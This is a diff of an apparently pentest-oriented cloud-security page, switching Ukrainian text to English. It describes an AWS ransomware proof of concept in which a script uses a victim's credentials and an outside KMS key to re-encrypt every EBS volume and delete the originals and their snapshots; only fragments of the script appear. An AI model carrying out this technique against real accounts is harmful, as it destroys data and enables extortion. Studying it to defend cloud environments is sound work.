@@ -494,15 +498,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Зачекайте трохи, щоб нова політика ключа поширилася. Потім поверніться до облікового запису 'victim' і спробуйте приєднати один із щойно зашифрованих томів EBS. Ви побачите, що можете приєднати том. +Зачекайте трохи, щоб щойно встановлена key policy поширилася. Потім поверніться до облікового запису 'victim' і спробуйте прикріпити один із щойно зашифрованих EBS томів. Ви помітите, що том можна прикріпити. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Але коли ви спробуєте фактично запустити EC2 інстанс з зашифрованим томом EBS, це просто не вдасться: інстанс перейде зі стану 'pending' назад у 'stopped' і залишатиметься в ньому, оскільки приєднаний том EBS не може бути розшифрований за допомогою ключа через відсутність дозволу в політиці ключа. +Але коли ви намагаєтеся фактично запустити EC2 instance з приєднаним зашифрованим EBS томом, запуск не вдається — інстанс переходить зі стану 'pending' назад у 'stopped' і лишається там, оскільки приєднаний EBS том не може бути розшифрований цим ключем через те, що key policy більше цього не дозволяє. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Це python скрипт, який використовувався. Він приймає AWS облікові дані для облікового запису 'victim' та загальнодоступний AWS ARN ключа, що використовуватиметься для шифрування. Скрипт створює зашифровані копії ВСІХ доступних томів EBS, приєднаних до ВСІХ EC2 інстансів у цільовому AWS обліковому записі, потім зупиняє кожний EC2 інстанс, від'єднує оригінальні томи EBS, видаляє їх і нарешті видаляє всі snapshots, використані під час процесу. Це залишає у цільовому обліковому записі 'victim' лише зашифровані томи EBS. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ЛИШЕ В ТЕСТОВОМУ СЕРЕДОВИЩІ — ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ ВСІ ОРИГІНАЛЬНІ ТОМИ EBS. Ви можете відновити їх, використавши застосований KMS key і відновивши зі snapshots, але хочу попередити, що в кінці кінців це ransomware PoC. +This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day. ``` import boto3 import argparse @@ -619,10 +623,12 @@ delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` -## Посилання +## References -- [Latacora - ECS on EC2: Усунення прогалин у захисті IMDS](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) +- +- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) - [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) -- [Pentest Partners – Як передавати файли в AWS за допомогою SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) + {{#include ../../../../banners/hacktricks-training.md}}